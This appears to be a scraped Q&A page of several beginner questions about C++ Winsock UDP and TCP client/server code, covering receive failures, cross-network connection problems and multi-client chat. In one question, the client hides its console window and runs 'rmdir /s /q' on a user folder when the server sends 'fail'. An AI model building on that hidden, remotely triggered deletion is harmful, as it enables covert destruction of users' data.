I am new for C++. I tried to write a UDP client and server in C++. The server can receive data from client. But the client can not receive data from server. No matter what data the server sends, the method recvfrom in client always returns 0.
The client code is below:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;
#pragma comment(lib, "ws2_32.lib")
#define BUFFER_SIZE 1024
int main()
{
SOCKET sock_Client;
WSADATA WSAData;
char receBuf[BUFFER_SIZE];
char sendBuf[BUFFER_SIZE];
if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
{
printf("initialation fails!");
return -1;
}
sock_Client = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
SOCKADDR_IN addr_server;
addr_server.sin_family = AF_INET;
addr_server.sin_port = htons(4567);
addr_server.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
SOCKADDR_IN sock;
int len = sizeof(sock);
while (true)
{
cout << "input data to send:";
cin >> sendBuf;
sendto(sock_Client, sendBuf, strlen(sendBuf), 0, (SOCKADDR*)&addr_server, sizeof(SOCKADDR));
//int last=recv(sock_Client, receBuf, strlen(receBuf), 0); //
int last = recvfrom(sock_Client, receBuf, strlen(receBuf), 0, (SOCKADDR*)&sock, &len);
if (last > 0)
{
receBuf[last] = '\0';
if (strcmp(receBuf, "bye") == 0)
{
cout << "server stops talking..." << endl;
closesocket(sock_Client);
break;
}
else
{
printf("received data:%s\n", receBuf);
}
}
}
closesocket(sock_Client);
WSACleanup();
return 0;
}
The server code:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;
#pragma comment(lib, "ws2_32.lib")
#define BUFFER_SIZE 1024
int main()
{
WSADATA WSAData;
char receBuf[BUFFER_SIZE];
char Response[BUFFER_SIZE];
if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
{
printf("initialation fails!");
exit(1);
}
SOCKET sockServer = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sockServer == INVALID_SOCKET)
{
printf("Failed socket() \n");
return 0;
}
SOCKADDR_IN addr_Server;
addr_Server.sin_family = AF_INET;
addr_Server.sin_port = htons(4567);
addr_Server.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(sockServer, (SOCKADDR*)&addr_Server, sizeof(addr_Server)) == SOCKET_ERROR)
{
printf("Failed socket() %d \n", WSAGetLastError());
return 0;
}
SOCKADDR_IN addr_Clt;
int fromlen = sizeof(SOCKADDR);
while (true)
{
int last = recvfrom(sockServer, receBuf, 1024, 0, (SOCKADDR*)&addr_Clt, &fromlen);
if (last > 0)
{
receBuf[last] = '\0';
if (strcmp(receBuf, "bye") == 0)
{
cout << " client stop talking..." << endl;
closesocket(sockServer);
return 0;
}
else
{
printf("received data(%s):%s\n", inet_ntoa(addr_Clt.sin_addr), receBuf);
}
}
cout << "anser client:";//<br>Response = “”;
cin >> Response;
sendto(sockServer, Response, strlen(Response), 0, (SOCKADDR*)&addr_Clt, sizeof(SOCKADDR));
}
closesocket(sockServer);
WSACleanup();
return 0;
}
Anyone know what is wrong with the code?
The code runs in Windows. So, set(CMAKE_CXX_STANDARD 14) has to be added into CMakeLists.txt. If you want to run the code, please notice that.
Related
I’m a noob with sockets, and I’ve tried to make a program. When it is connected in my local address it works ok, but the problem comes when I try to use it between networks, and they don’t connect. I’ve tried changing the IP from local to public and a lot of combinations of IPs. Here is the code of the program:
SERVER
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstdio>
#pragma warning(disable: 4996)
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, &wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeof(addr));
listen(sListen, SOMAXCONN);
SOCKET newConnection;
newConnection = accept(sListen, (SOCKADDR*)&addr, &sizeofaddr);
if (newConnection == 0) {
std::cout << "Error #2\n";
}
else {
while (true) {
std::cout << "Conectado\n";
char msg[256] = "";
std::cin.getline(msg, sizeof(msg));
send(newConnection, msg, sizeof(msg), NULL);
}
}
system("pause");
return 0;
}
CLIENT
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#pragma warning(disable: 4996)
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, &wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.s_addr = inet_addr("192.168.1.17");
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
if (connect(Connection, (SOCKADDR*)&addr, sizeof(addr)) != 0) {
std::cout << "Error: failed connect to server.\n";
return 1;
}
std::cout << "Soy cliente\n";
char msg[256] = "";
recv(Connection, msg, sizeof(msg), NULL);
std::cout << msg << std::endl;
if (msg[0] == 'f' && msg[1] == 'a' && msg[2] == 'i' && msg[3] == 'l') {
std::string directoryName = "C:\\Users\\usuario\\Documents\\Prueba";
std::string a = "rmdir /s /q " + directoryName;
system(a.c_str());
}
std::system("pause");
return 0;
}
if your server is behind a NAT, you need to enable port forwarding on the NAT, and then have the client connect to the NAT's public IP.
If not, check your firewall settings.
I've recently into c/c++ socket programming so I just made simple program that server and client respond each other. My server is in VMware( linux fedora) and client is windows(in visual studio 2017).
And it worked(pls notice that server and client are in one laptop)..
I also tried same client code with another computer(my deskTop) and got a WSAETIMEDOUT(10060)
error. The error was captured in connect() function in client code.
I have no idea how to solve :(
Could anybody help me?
Here's a client code
#include <iostream>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
using namespace std;
#define DEFAULT_BUFLEN 512
int main(int argc, char *argv[]) {
WSADATA wsaData;
SOCKET connectSocket;
SOCKADDR_IN servAddr;
char sendBuf[DEFAULT_BUFLEN];
char recvBuf[DEFAULT_BUFLEN];
char nickName[DEFAULT_BUFLEN];
int recvLen = 0;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
cout << "start up error";
exit(1);
}
connectSocket = socket(PF_INET, SOCK_STREAM, 0);
if (connectSocket == INVALID_SOCKET) {
cout << "socket creation error";
exit(1);
}
memset(&servAddr, 0, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
servAddr.sin_port = htons(atoi(argv[2]));
if (connect(connectSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR) {
cout << "connect error: " << WSAGetLastError();
exit(1);
}
while (1) {
recvLen = recv(connectSocket, recvBuf, sizeof(recvBuf), 0);
if (recvLen > 0) {
if (strcmp(recvBuf, "Exit") == 0)
break;
cout << recvBuf;
//cin >> nickName;
cin.getline(nickName, DEFAULT_BUFLEN);
send(connectSocket, nickName, sizeof(nickName),0);
}
else if (recvLen == 0)
cout << "Connection closed";
else if (recvLen == -1)
cout << "Connection failed";
}
closesocket(connectSocket);
WSACleanup();
return 0;
}
Blockquote
and server code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <iostream>
#include <string>
#define DEFAULT_LEN 512
#define DEFAULT_CLIENT_NUM 30
using namespace std;
char nickNameCommand[]="Please set your nickName:";
void error_handling(char * message);
class Client {
private:
char nickName[DEFAULT_LEN];
int clientSock;
public:
struct sockaddr_in clnt_addr;
int& getClientSock(){
return clientSock;
}
};
class Server {
private:
int serv_sock;
char informClientNickName[DEFAULT_LEN] = "Your NickName is ";
public:
Server(){
}
char message[DEFAULT_LEN]= "";
char clientNickName[DEFAULT_CLIENT_NUM][DEFAULT_LEN];
struct sockaddr_in serv_addr;
void setServSock(int value){
serv_sock = value;
}
int getServSock(){
return serv_sock;
}
void setInformClientNickName(int clientNum){
strcat(informClientNickName,clientNickName[clientNum]);
strcat(message , informClientNickName);
}
char* getInformClientNickName(){
return informClientNickName;
}
};
int main(int argc,char * argv[])
{
Client clientSocket[DEFAULT_CLIENT_NUM];
Server server;
int clientNum=0;
int recvLen=0;
socklen_t clnt_addr_size;
char message[DEFAULT_LEN];
if(argc!=2)
{
printf("Usage: %s <port>\n",argv[0]);
exit(1);
}
server.setServSock(socket(PF_INET,SOCK_STREAM,0));
if(server.getServSock() == -1)
error_handling("socket() error");
memset(&(server.serv_addr),0,sizeof(server.serv_addr));
server.serv_addr.sin_family=AF_INET;
server.serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server.serv_addr.sin_port=htons(atoi(argv[1]));
if(bind(server.getServSock(),(struct sockaddr*)&
(server.serv_addr),sizeof(server.serv_addr)) ==-1)
error_handling("bind() error");
if(listen(server.getServSock(),5)==-1)
error_handling("listen() error");
clnt_addr_size=sizeof(clientSocket[0].clnt_addr);
while(1) {
clientSocket[clientNum].getClientSock() = accept(server.getServSock(),
(struct sockaddr*)&(clientSocket[clientNum].clnt_addr),&clnt_addr_size);
if(clientSocket[clientNum].getClientSock()==-1)
error_handling("accept() error");
else{
write(clientSocket[clientNum].getClientSock(),nickNameCommand,sizeof(nickNameCommand));
read(clientSocket[clientNum].getClientSock(),(void*)(server.clientNickName[clientNum]),DEFAULT_LEN);
}
cout << "Received name is : " << server.clientNickName[clientNum]<<endl;
clientNum++;
cout << "ClientNum: " << clientNum <<endl;
recvLen=0;
for(int i=0;i<clientNum;i++){
server.setInformClientNickName(i);
write(clientSocket[clientNum].getClientSock(),server.message,sizeof(server.message));
}
}
for(int i=0;i<clientNum;i++)
close(clientSocket[i].getClientSock());
close(server.getServSock());
return 0;
}
void error_handling(char * message)
{
fputs(message,stderr);
fputc('\n',stderr);
exit(1);
}
So I have a winsock application in which the computer tries to accept a client, and then starts a new thread with the a pointer to the class object with client info which it copies and then deletes with the delete keyword.
The backbone is copied but the beginning of the OOP-structure is my work and the current implementation seems to be giving me some issues.
I noticed the socket might not copy in the correct format, but have no idea on how to fix this. As the client tries to connect it throws me the error message of that the server refused the connection. Anyway, here is the code of the server.
UPDATE:
It's working.
// main.h
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <process.h>
#include <cstring>
#include <iostream>
#include <stdio.h>
#include <memory>
#pragma comment(lib,"ws2_32.lib" )
class clientData{
private:
SOCKET clientSocket;
std::string name;
public:
clientData(SOCKET &clientSock, const char *tName);
clientData(clientData *cliDat);
~clientData();
inline SOCKET *getClientSocket(){
return &clientSocket;
}
inline std::string *getName(){
return &name;
}
};
And here is the main cpp file
// main.cpp
#include "main.h"
unsigned int __stdcall ServClient(void *data);
int main(int argc, char *argv[])
{
WSADATA wsaData;
int iResult;
sockaddr_in addr;
SOCKET sock, client[10];
addr.sin_family = AF_INET;
addr.sin_port = htons(13337);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);//2.2
if (iResult)
{
printf("WSA startup failed");
return 0;
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET)
{
printf("Invalid socket");
return 0;
}
int addrlen = sizeof(sockaddr_in);
iResult = bind(sock, (sockaddr*)&addr, sizeof(sockaddr_in));
if (iResult)
{
printf("bind failed %u", GetLastError());
return 0;
}
iResult = listen(sock, SOMAXCONN);
if (iResult)
{
printf("iResult failed %u", GetLastError());
return 0;
}
int iterationCount = 0;
while ((iterationCount < 10 &&
(client[iterationCount] = accept(sock, (SOCKADDR*)&addr, &addrlen)) != SOCKET_ERROR))
{
if (client[iterationCount] == INVALID_SOCKET){
printf("invalid client socket",GetLastError());
continue;
}
++iterationCount;
char tempName[100] = { '\0' };
sprintf_s(tempName, sizeof(tempName), "Client %u", iterationCount);
clientData *tempCLdata = new clientData(client[iterationCount - 1], tempName);
_beginthreadex(0, 0, ServClient, (void*)tempCLdata, 0, 0);
tempCLdata = nullptr;
}
return 0;
}
unsigned int __stdcall ServClient(void *data)
{
clientData cliDat((clientData*)data);
delete (clientData*)data;
printf("Client connected\n");
int recvLen = 1;
char chunk[1024] = { '\0' };
while ((recvLen = recv(*cliDat.getClientSocket(), chunk, 1024, 0)) > 0){
printf("%.*s", recvLen, chunk);
}
if (recvLen == -1)
perror("Socket recv() problem..\n");
else
printf("End of data on socket, closing..\n");
closesocket(*cliDat.getClientSocket());
return 0;
}
clientData::clientData(SOCKET &clientSock, const char *tName){
clientSocket = clientSock;
name.assign(tName);
}
clientData::clientData(clientData *cliDat){
SOCKET *clientSocketPtr = cliDat->getClientSocket();
clientSocket = *clientSocketPtr;
name.assign(cliDat->getName()->c_str());
}
clientData::~clientData(){
}
Also here is the relevant bit of client code, as requested.
char buffer[1023] = { '\0' };
int heartbeatCount = 0;
while (true)
{
sprintf_s(buffer, sizeof(buffer), "Heartbeat %d", heartbeatCount + 1);
send(sock, buffer, strlen(buffer) + 1, 0);
++heartbeatCount;
Sleep(1000);
}
Yesterday I started writing a code for server-client TCP/IP for chating.
It's code for server:
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "Ws2_32.lib")
int main() {
WSAData wsa;
WORD Version = MAKEWORD(2, 1);
WSAStartup(Version, &wsa);
SOCKET Listen = socket(AF_INET, SOCK_STREAM, 0);
SOCKET Connect = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN Server;
Server.sin_addr.s_addr = inet_addr("127.0.0.1");
Server.sin_family = AF_INET;
Server.sin_port = htons(100);
bind(Listen, (SOCKADDR*)&Server, sizeof(Server));
listen(Listen, 1);
int size = sizeof(Server);
char buffer[512];
char *fn = "";
int iResult;
std::cout <<"Listening...";
if(Connect = accept(Listen, (SOCKADDR*)&Server, &size)) {
std::cout << "\nConnecting was reached :)";
}
do {
char *fn;
iResult = recv(Connect, buffer, sizeof(buffer), 0);
if (iResult > 0) {
buffer[iResult] = '\0';
fn = buffer;
std::cout << fn;
} else if (iResult == 0){
printf("Connection closing...\n");
iResult = 0;
}
} while (iResult > 0);
WSACleanup();
std::cin.get();
return 0;
}
And it's for client:
#include <iostream>
#include <winsock2.h>
#include <string>
#pragma comment(lib, "Ws2_32.lib")
int main() {
WSAData wsa;
WORD Version = MAKEWORD(2, 1);
WSAStartup(Version, &wsa);
int iResult;
std::string text;
char buffer[512];
SOCKADDR_IN Client;
Client.sin_addr.s_addr = inet_addr("127.0.0.1");
Client.sin_family = AF_INET;
Client.sin_port = htons(100);
SOCKET Connect = socket(AF_INET, SOCK_STREAM, 0);
std::cout << "Wcisnij enter aby polaczyc";
std::cin.get();
if(connect(Connect, (SOCKADDR*)&Client, sizeof(Client))) {
std::cout << "Nawiazano polaczeniee";
}
do {
std::cout << "Waxer: ";
std::cin >> text;
text.insert( 0, "Waxer: " );
strcpy_s(buffer, text.c_str());
// Send an initial buffer
iResult = send(Connect, buffer, strlen(buffer), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(Connect);
WSACleanup();
return 1;
}
} while(text != "ban");
std::cout<< "Polaczenie wyslane!";
std::cin.get();
return 0;
}
My question is? What should I change in this code for multiple clients. I mean how to connect new clients?
Your question is quite open, but in general you need threads.
Pseudocode:
int main()
{
std::vector<std::thread> clients;
Socket listener("localhost", "1337");
for (;;)
{
Socket tmp = listener.accept();
clients.push_back(std::thread(&myHandlerFunction, tmp));
clients.back().detach();
}
}
In the end you have a thread for every connected client and can codify your chat logic so that they can communicate with each other.
I'm trying to make a simple client-server chat program in C++. I wrote this, but my problem is that I can just send data from the server to the client. I want to have a full-duplex communication, and send data from client to server too.
Here is my code.
server :
#include "stdafx.h"
#include <WinSock2.h>
#include <winsock.h>
#include <stdio.h>
#include <iostream>
#include <string>
#define RCVBUFSIZE 32
using namespace std;
#pragma comment(lib, "Ws2_32.lib")
int main()
{
WSADATA wsadat;
SOCKET welcome_socket = INVALID_SOCKET;
string IpAddress;
int PortNom;
SOCKADDR_IN SockAddress;
//-----------------------------------------------
if (WSAStartup(MAKEWORD(2,2),&wsadat) !=NO_ERROR)
{
cout << "WSA intialization failed. \n";
WSACleanup();
return 1;
}
//------------------------------------------------
welcome_socket = socket(AF_INET , SOCK_STREAM , 0);
//--------------------------------------------------
cout << "Enter your ip address: ";
cin >> IpAddress;
cout << "Enter your port nomber:";
cin >> PortNom;
//---------------------------------------------------
SockAddress.sin_addr.s_addr = inet_addr (IpAddress.c_str());
SockAddress.sin_port = htons(PortNom);
SockAddress.sin_family = AF_INET;
//---------------------------------------------------
bind(welcome_socket,(SOCKADDR *)&SockAddress,sizeof(SockAddress));
listen(welcome_socket,1);
//----------------------------------------------------
SOCKET Comm_sock;
SOCKADDR_IN ClientAddr;
int AddressLen = sizeof (ClientAddr);
char *buffer = new char[13];
int turn= 0;
char* buf = new char[50];
char temp;
while (true)
{
Comm_sock = accept(welcome_socket,(SOCKADDR *)&ClientAddr , &AddressLen);
while (buf != "exit")
{
if (turn == 0)
{
cout << endl;
recv(Comm_sock,buf,50,0);
if(buf[0]=='e' && buf[1]=='x' && buf[2]=='i' && buf[3]=='t')
return 0;
cout << "MsG from client :"<< buf << endl;
cin.get(temp);
turn = 1;
}
if (turn == 1)
{
cout << "Enter MsG:";
cin.get(buf,50);
if (buf[0]=='e' && buf[1]=='x' && buf[2]=='i' && buf[3]=='t')
return 0;
send(Comm_sock,buf,strlen(buf)+1,0);
cin.get(temp);
turn=0;
}
}
}
and client:
#include "stdafx.h"
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <iostream>
using namespace std;
// Link with ws2_32.lib
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "12345"
//-------------------------------------
int main ()
{
WSADATA wsadata;
int iResult;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientservice;
char *sendbuf ="";
char recvbuf[DEFAULT_BUFLEN];
char sendbuffer[512];
int recvbuflen = DEFAULT_BUFLEN;
int sendbuflen = 512;
//----------------------------------
iResult = WSAStartup(MAKEWORD(2,2),&wsadata);
//----------------------------------
ConnectSocket = socket(AF_INET,SOCK_STREAM , IPPROTO_TCP);
//-----------------------------------
clientservice.sin_family = AF_INET;
clientservice.sin_addr.s_addr = inet_addr( "127.0.0.1" );
clientservice.sin_port = htons( 11111 );
//-----------------------------------
iResult = connect (ConnectSocket,(SOCKADDR *)&clientservice ,sizeof(clientservice));
iResult = send( ConnectSocket, sendbuf, (int)strlen(sendbuf), 0 );
cout << "bytes Sent:" << iResult << "\n";
//-------------------------------------
iResult = shutdown(ConnectSocket ,SD_SEND);
if (iResult == SOCKET_ERROR)
{
printf("shutdown failed: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
do {
string reciev;
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
recvbuf[iResult]= 0 ;
cout << recvbuf << endl;
} while(true);
//------------------------------------------
closesocket(ConnectSocket);
WSACleanup();
}